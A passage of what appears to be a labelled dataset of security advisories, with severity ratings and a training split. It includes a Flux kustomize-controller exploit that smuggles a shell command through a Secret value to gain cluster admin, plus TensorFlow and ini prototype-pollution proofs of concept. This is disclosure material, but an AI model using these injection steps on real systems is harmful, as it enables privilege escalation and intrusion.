path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)", "text_raw": "Privilege escalation to cluster admin on multi-tenant environments\n\n[Severity: HIGH]\n\nUsers that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "bf13a4a893ce8b86fcbb", "text": "Sydent DoS (via resource exhaustion) due to improper input validation\n\n### Impact\n\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\n\nFixed by 3175fd3.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Sydent DoS (via resource exhaustion) due to improper input validation\n\n[Severity: MEDIUM]\n\n### Impact\n\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\n\nFixed by 3175fd3.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "ace029bbda0a5e142cba", "text": "Improper Certificate Validation in proton-j\n\nThe Apache Qpid Proton-J transport includes an optional wrapper layer to perform TLS, enabled by use of the 'transport.ssl(...)' methods. Unless a verification mode was explicitly configured, client and server modes previously defaulted as documented to not verifying a peer certificate, with options to configure this explicitly or select a certificate verification mode with or without hostname verification being performed. The latter hostname verifying mode was not implemented in Apache Qpid Proton-J versions 0.3 to 0.29.0, with attempts to use it resulting in an exception. This left only the option to verify the certificate is trusted, leaving such a client vulnerable to Man In The Middle (MITM) attack. Uses of the Proton-J protocol engine which do not utilise the optional transport TLS wrapper are not impacted, e.g. usage within Qpid JMS. Uses of Proton-J utilising the optional transport TLS wrapper layer that wish to enable hostname verification must be upgraded to version 0.30.0 or later and utilise the VerifyMode#VERIFY_PEER_NAME configuration, which is now the default for client mode usage unless configured otherwise.", "text_raw": "Improper Certificate Validation in proton-j\n\n[Severity: HIGH]\n\nThe Apache Qpid Proton-J transport includes an optional wrapper layer to perform TLS, enabled by use of the 'transport.ssl(...)' methods. Unless a verification mode was explicitly configured, client and server modes previously defaulted as documented to not verifying a peer certificate, with options to configure this explicitly or select a certificate verification mode with or without hostname verification being performed. The latter hostname verifying mode was not implemented in Apache Qpid Proton-J versions 0.3 to 0.29.0, with attempts to use it resulting in an exception. This left only the option to verify the certificate is trusted, leaving such a client vulnerable to Man In The Middle (MITM) attack. Uses of the Proton-J protocol engine which do not utilise the optional transport TLS wrapper are not impacted, e.g. usage within Qpid JMS. Uses of Proton-J utilising the optional transport TLS wrapper layer that wish to enable hostname verification must be upgraded to version 0.30.0 or later and utilise the VerifyMode#VERIFY_PEER_NAME configuration, which is now the default for client mode usage unless configured otherwise.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "f04892d9a3e52a13e4ec", "text": "Insufficient Entropy in DotNetNuke\n\nDNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.", "text_raw": "Insufficient Entropy in DotNetNuke\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "0d1898dcd6983ace822c", "text": "Downloads Resources over HTTP in operadriver\n\noperadriver is a Opera Driver for Selenium.\n\noperadriver versions below 0.2.3 download binary resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested binary with an attacker controlled binary if the attacker is on the network or positioned in between the user and the remote server.\n\n## Recommendation\n\nUpdate to version 0.2.3 or later.", "text_raw": "Downloads Resources over HTTP in operadriver\n\n[Severity: HIGH]\n\noperadriver is a Opera Driver for Selenium.\n\noperadriver versions below 0.2.3 download binary resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested binary with an attacker controlled binary if the attacker is on the network or positioned in between the user and the remote server.\n\n\n## Recommendation\n\nUpdate to version 0.2.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "212e3d6716cd957c51bc", "text": "Null pointer dereference in `SparseTensorSliceDataset`\n\n### Impact\nWhen a user does not supply arguments that determine a valid sparse tensor, `tf.raw_ops.SparseTensorSliceDataset` implementation can be made to dereference a null pointer:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseTensorSliceDataset(\n  indices=[[],[],[]],\n  values=[1,2,3],\n  dense_shape=[3,3])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L240-L251) has some argument validation but fails to consider the case when either `indices` or `values` are provided for an empty sparse tensor when the other is not.\n\nIf `indices` is empty (as in the example above), then [code that performs validation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L260-L261) (i.e., checking that the indices are monotonically increasing) results in a null pointer dereference:\n\n```cc\n    for (int64_t i = 0; i < indices->dim_size(0); ++i) {\n      int64_t next_batch_index = indices->matrix<int64>()(i, 0);\n      ...\n    }\n```\n\nIf `indices` as provided by the user is empty, then `indices` in the C++ code above is backed by an empty `std::vector`, hence calling `indices->dim_size(0)` results in null pointer dereferencing (same as calling `std::vector::at()` on an empty vector).\n\n### Patches\nWe have patched the issue in GitHub commit [02cc160e29d20631de3859c6653184e3f876b9d7](https://github.com/tensorflow/tensorflow/commit/02cc160e29d20631de3859c6653184e3f876b9d7).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference in `SparseTensorSliceDataset`\n\n[Severity: HIGH]\n\n### Impact\nWhen a user does not supply arguments that determine a valid sparse tensor, `tf.raw_ops.SparseTensorSliceDataset` implementation can be made to dereference a null pointer:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseTensorSliceDataset(\n  indices=[[],[],[]],\n  values=[1,2,3],\n  dense_shape=[3,3])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L240-L251) has some argument validation but fails to consider the case when either `indices` or `values` are provided for an empty sparse tensor when the other is not.\n\nIf `indices` is empty (as in the example above), then [code that performs validation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/data/sparse_tensor_slice_dataset_op.cc#L260-L261) (i.e., checking that the indices are monotonically increasing) results in a null pointer dereference: \n\n```cc\n    for (int64_t i = 0; i < indices->dim_size(0); ++i) {\n      int64_t next_batch_index = indices->matrix<int64>()(i, 0);\n      ...\n    }\n```\n\nIf `indices` as provided by the user is empty, then `indices` in the C++ code above is backed by an empty `std::vector`, hence calling `indices->dim_size(0)` results in null pointer dereferencing (same as calling `std::vector::at()` on an empty vector).\n\n### Patches\nWe have patched the issue in GitHub commit [02cc160e29d20631de3859c6653184e3f876b9d7](https://github.com/tensorflow/tensorflow/commit/02cc160e29d20631de3859c6653184e3f876b9d7).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "005eae8add6e4abb4979", "text": "Insufficient Session Expiration in Kiali\n\nAn insufficient JWT validation vulnerability was found in Kiali versions 0.4.0 to 1.15.0 and was fixed in Kiali version 1.15.1, wherein a remote attacker could abuse this flaw by stealing a valid JWT cookie and using that to spoof a user session, possibly gaining privileges to view and alter the Istio configuration.", "text_raw": "Insufficient Session Expiration in Kiali\n\n[Severity: HIGH]\n\nAn insufficient JWT validation vulnerability was found in Kiali versions 0.4.0 to 1.15.0 and was fixed in Kiali version 1.15.1, wherein a remote attacker could abuse this flaw by stealing a valid JWT cookie and using that to spoof a user session, possibly gaining privileges to view and alter the Istio configuration.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "f9ea4d43937f1529916a", "text": "Gollum Exposure of Sensitive Information\n\nThe Precious module in gollum before 4.0.1 allows remote attackers to read arbitrary files by leveraging the lack of a certain temporary-file check.", "text_raw": "Gollum Exposure of Sensitive Information\n\n[Severity: MEDIUM]\n\nThe Precious module in gollum before 4.0.1 allows remote attackers to read arbitrary files by leveraging the lack of a certain temporary-file check.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "5bc6d6eb8df7dbe1e300", "text": "Django Cross-Site Request Forgery vulnerability\n\nThe CSRF protection mechanism in Django through 1.2.7 and 1.3.x through 1.3.1 does not properly handle web-server configurations supporting arbitrary HTTP Host headers, which allows remote attackers to trigger unauthenticated forged requests via vectors involving a DNS CNAME record and a web page containing JavaScript code.", "text_raw": "Django Cross-Site Request Forgery vulnerability\n\n[Severity: HIGH]\n\nThe CSRF protection mechanism in Django through 1.2.7 and 1.3.x through 1.3.1 does not properly handle web-server configurations supporting arbitrary HTTP Host headers, which allows remote attackers to trigger unauthenticated forged requests via vectors involving a DNS CNAME record and a web page containing JavaScript code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "6bb198872ac1bea9becc", "text": "Spring Framework when used in combination with any versions of Spring Security contains an authorization bypass\n\nSpring Framework version 5.0.5 when used in combination with any versions of Spring Security contains an authorization bypass when using method security. An unauthorized malicious user can gain unauthorized access to methods that should be restricted.", "text_raw": "Spring Framework when used in combination with any versions of Spring Security contains an authorization bypass\n\n[Severity: HIGH]\n\nSpring Framework version 5.0.5 when used in combination with any versions of Spring Security contains an authorization bypass when using method security. An unauthorized malicious user can gain unauthorized access to methods that should be restricted.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "16ebc62171e702801b4b", "text": "Improper Certificate Validation in Twisted\n\nIn words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.", "text_raw": "Improper Certificate Validation in Twisted\n\n[Severity: CRITICAL]\n\nIn words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-16", "split": "train"}
-{"id": "41750338a02092e23c7a", "text": "Apache Airflow logs passwords in plaintext\n\nIn Airflow versions prior to 1.10.13, when creating a user using airflow CLI, the password gets logged in plain text in the Log table in Airflow Metadatase. The same happenes when creating a Connection with a password field.", "text_raw": "Apache Airflow logs passwords in plaintext\n\n[Severity: LOW]\n\nIn Airflow versions prior to 1.10.13, when creating a user using airflow CLI, the password gets logged in plain text in the Log table in Airflow Metadatase. The same happenes when creating a Connection with a password field.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-17", "split": "train"}
-{"id": "ad476ef1fc4930836bee", "text": "Arbitrary Command Execution in Hadoop\n\nIn Apache Hadoop 2.7.4 to 2.7.6, the security fix for CVE-2016-6811 is incomplete. A user who can escalate to yarn user can possibly run arbitrary commands as root user.", "text_raw": "Arbitrary Command Execution in Hadoop\n\n[Severity: HIGH]\n\nIn Apache Hadoop 2.7.4 to 2.7.6, the security fix for CVE-2016-6811 is incomplete. A user who can escalate to yarn user can possibly run arbitrary commands as root user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "855fe95c9fc97e000951", "text": "Pixelpost 1.7.3 Multiple Persistent Cross-Site Scripting Vulnerabilities", "text_raw": "Pixelpost 1.7.3 Multiple Persistent Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-02-11", "split": "train"}
-{"id": "1651ecdecda3eb7a61a8", "text": "Signature Malleabillity in elliptic\n\nThe Elliptic package before version 6.5.3 for Node.js allows ECDSA signature malleability via variations in encoding, leading '\\0' bytes, or integer overflows. This could conceivably have a security-relevant impact if an application relied on a single canonical signature.", "text_raw": "Signature Malleabillity in elliptic\n\n[Severity: HIGH]\n\nThe Elliptic package before version 6.5.3 for Node.js allows ECDSA signature malleability via variations in encoding, leading '\\0' bytes, or integer overflows. This could conceivably have a security-relevant impact if an application relied on a single canonical signature.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "59e5d3e2b85c881761bf", "text": "Command Injection Vulnerability in systeminformation\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a parameter check. Please upgrade to version >= 5.6.4\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.", "text_raw": "Command Injection Vulnerability in systeminformation\n\n[Severity: HIGH]\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a parameter check. Please upgrade to version >= 5.6.4\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "a0380c3519fffa3591f2", "text": "Import loops in account imports, nats-server DoS\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2020-28466.txt>)\n\n## Problem Description\n\nAn export/import cycle between accounts could crash the nats-server, after consuming CPU and memory.\n\nThis issue was fixed publicly in <https://github.com/nats-io/nats-server/pull/1731> in November 2020.\n\nThe need to call this out as a security issue was highlighted by `snyk.io` and we are grateful for their assistance in doing so.\n\nOrganizations which run a NATS service providing access to accounts run by untrusted third parties are affected.\nSee below for an important caveat if running such a service.\n\n## Affected versions\n\n#### NATS Server\n\n* Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable.\n * fixed with nats-io/nats-server PR 1731, commit 2e3c226729\n\n## Impact\n\nThe nats-server could be killed, after consuming resources.\n\n## Workaround\n\nThe import cycle requires at least two accounts to work; if you have open account sign-up, then restricting new account sign-up might hinder an attacker.\n\n## Solution\n\nUpgrade the nats-server.\n\n## Caveat on NATS with untrusted users\n\nRunning a NATS service which is exposed to untrusted users presents a heightened risk.\n\nAny remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers.\n\nFixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention.\n\nThose who are running such services are encouraged to build regularly from git.", "text_raw": "Import loops in account imports, nats-server DoS\n\n[Severity: LOW]\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2020-28466.txt>)\n\n## Problem Description\n\nAn export/import cycle between accounts could crash the nats-server, after consuming CPU and memory.\n\nThis issue was fixed publicly in <https://github.com/nats-io/nats-server/pull/1731> in November 2020.\n\nThe need to call this out as a security issue was highlighted by `snyk.io` and we are grateful for their assistance in doing so.\n\nOrganizations which run a NATS service providing access to accounts run by untrusted third parties are affected.\nSee below for an important caveat if running such a service.\n\n\n## Affected versions\n\n#### NATS Server\n\n * Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable.\n * fixed with nats-io/nats-server PR 1731, commit 2e3c226729\n\n\n## Impact\n\nThe nats-server could be killed, after consuming resources.\n\n\n## Workaround\n\nThe import cycle requires at least two accounts to work; if you have open account sign-up, then restricting new account sign-up might hinder an attacker.\n\n\n## Solution\n\nUpgrade the nats-server.\n\n\n## Caveat on NATS with untrusted users\n\nRunning a NATS service which is exposed to untrusted users presents a heightened risk.\n\nAny remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers.\n\nFixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention.\n\nThose who are running such services are encouraged to build regularly from git.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ecaf7ad7c83a365a1852", "text": "Malicious Package in rrgod\n\nAll versions of `rrgod` are considered malicious. The package is malware designed to run arbitrary scripts. When installed, the package downloads an arbitrary file and executes its contents as a pre, post and install scripts.\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.", "text_raw": "Malicious Package in rrgod\n\n[Severity: CRITICAL]\n\nAll versions of `rrgod` are considered malicious. The package is malware designed to run arbitrary scripts. When installed, the package downloads an arbitrary file and executes its contents as a pre, post and install scripts.\n\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "d2cd740bbe6baf44b18c", "text": "Improper Input Validation in simple_form\n\n## Incorrect Access Control in `file_method?` in `lib/simple_form/form_builder.rb`; a user-supplied string is invoked as a method call\n\n### Impact\nFor pages that build a form using user input, it is possible for an attacker to manipulate the input and send any method present in the form object. For example:\n\n```erb\n<%= simple_form_for @user do |f| %>\n  <%= f.label @user_supplied_string %>\n  ...\n<% end %>\n```\n\nThe string provided in the variable `@user_supplied_string` would be invoked as a method call inside the `@user` object (unless the string contains any of the following: `password`, `time_zone`, `country`, `email`, `phone` and `url`).\n\nBy manipulation that input, an attacker could do any of the following:\n\n- Code execution (call actions like `#destroy`)\n- Denial of Service (by executing a computation intensive method)\n- Information Disclosure (check the presence of methods, leak user information)\n\n### Patches\nThe problem was fixed in version `5.0`. Although it's a major version, there should be no issues with upgrading for `4.x`. The reason it was released in a major version is that the configuration `SimpleForm.file_methods` was deprecated in order to fix the problem.\n\n### Workarounds\nThe issue only happens with pages that build forms based on user-provided input. If your application doesn't do that, you're not affected.\nA workaround is to explicitly pass which type you want for an input since the issue lies on Simple Form's automatically discovery of input types. This can be done using the `as` option, like the following:\n```erb\n<%= form.input :avatar, as: :file %>\n```\n\n### References\n[TDB]\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/plataformatec/simple_form](https://github.com/plataformatec/simple_form)\n* Email us at [opensource@plataformatec.com.br](mailto:opensource@plataformatec.com.br)", "text_raw": "Improper Input Validation in simple_form\n\n[Severity: CRITICAL]\n\n## Incorrect Access Control in `file_method?` in `lib/simple_form/form_builder.rb`; a user-supplied string is invoked as a method call\n\n### Impact\nFor pages that build a form using user input, it is possible for an attacker to manipulate the input and send any method present in the form object. For example:\n\n```erb\n<%= simple_form_for @user do |f| %>\n  <%= f.label @user_supplied_string %>\n  ...\n<% end %>\n```\n\nThe string provided in the variable `@user_supplied_string` would be invoked as a method call inside the `@user` object (unless the string contains any of the following: `password`, `time_zone`, `country`, `email`, `phone` and `url`).\n\nBy manipulation that input, an attacker could do any of the following:\n\n- Code execution (call actions like `#destroy`)\n- Denial of Service (by executing a computation intensive method)\n- Information Disclosure (check the presence of methods, leak user information)\n\n### Patches\nThe problem was fixed in version `5.0`. Although it's a major version, there should be no issues with upgrading for `4.x`. The reason it was released in a major version is that the configuration `SimpleForm.file_methods` was deprecated in order to fix the problem.\n\n### Workarounds\nThe issue only happens with pages that build forms based on user-provided input. If your application doesn't do that, you're not affected.\nA workaround is to explicitly pass which type you want for an input since the issue lies on Simple Form's automatically discovery of input types. This can be done using the `as` option, like the following:\n```erb\n<%= form.input :avatar, as: :file %>\n```\n\n### References\n[TDB]\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/plataformatec/simple_form](https://github.com/plataformatec/simple_form)\n* Email us at [opensource@plataformatec.com.br](mailto:opensource@plataformatec.com.br)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-30", "split": "train"}
-{"id": "155d2997b4f37b8fff5a", "text": "Malicious Package in js-3ha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-3ha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d7602670c5613cd2f6bf", "text": "SmartFoxServer 2X 2.17.0 God Mode Console WebSocket XSS", "text_raw": "SmartFoxServer 2X 2.17.0 God Mode Console WebSocket XSS\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2021-02-07", "split": "train"}
-{"id": "533926f029b0aaaf5e5a", "text": "ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse\n\n### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```", "text_raw": "ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse\n\n[Severity: HIGH]\n\n### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "2c2b9b60326fad7a86a0", "text": "HashiCorp Consul Privilege Escalation Vulnerability\n\nHashiCorp Consul and Consul Enterprise 1.10.1 Raft RPC layer allows non-server agents with a valid certificate signed by the same CA to access server-only functionality, enabling privilege escalation. Fixed in 1.8.15, 1.9.9 and 1.10.2.", "text_raw": "HashiCorp Consul Privilege Escalation Vulnerability\n\n[Severity: HIGH]\n\nHashiCorp Consul and Consul Enterprise 1.10.1 Raft RPC layer allows non-server agents with a valid certificate signed by the same CA to access server-only functionality, enabling privilege escalation. Fixed in 1.8.15, 1.9.9 and 1.10.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "8f63071cf424284d7ced", "text": "field_test gem contains injection vulnerability\n\nThe field_test gem 0.3.0 for Ruby has unvalidated input. A method call that is expected to return a value from a certain set of inputs can be made to return any input, which can be dangerous depending on how applications use it. If an application treats arbitrary variants as trusted, this can lead to a variety of potential vulnerabilities like SQL injection or cross-site scripting (XSS).", "text_raw": "field_test gem contains injection vulnerability\n\n[Severity: MEDIUM]\n\nThe field_test gem 0.3.0 for Ruby has unvalidated input. A method call that is expected to return a value from a certain set of inputs can be made to return any input, which can be dangerous depending on how applications use it. If an application treats arbitrary variants as trusted, this can lead to a variety of potential vulnerabilities like SQL injection or cross-site scripting (XSS).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "0f1e924e5e46ccf7b291", "text": "Amaya Web Editor 11 Remote SEH Overwrite Exploit", "text_raw": "Amaya Web Editor 11 Remote SEH Overwrite Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2009-01-30", "split": "train"}
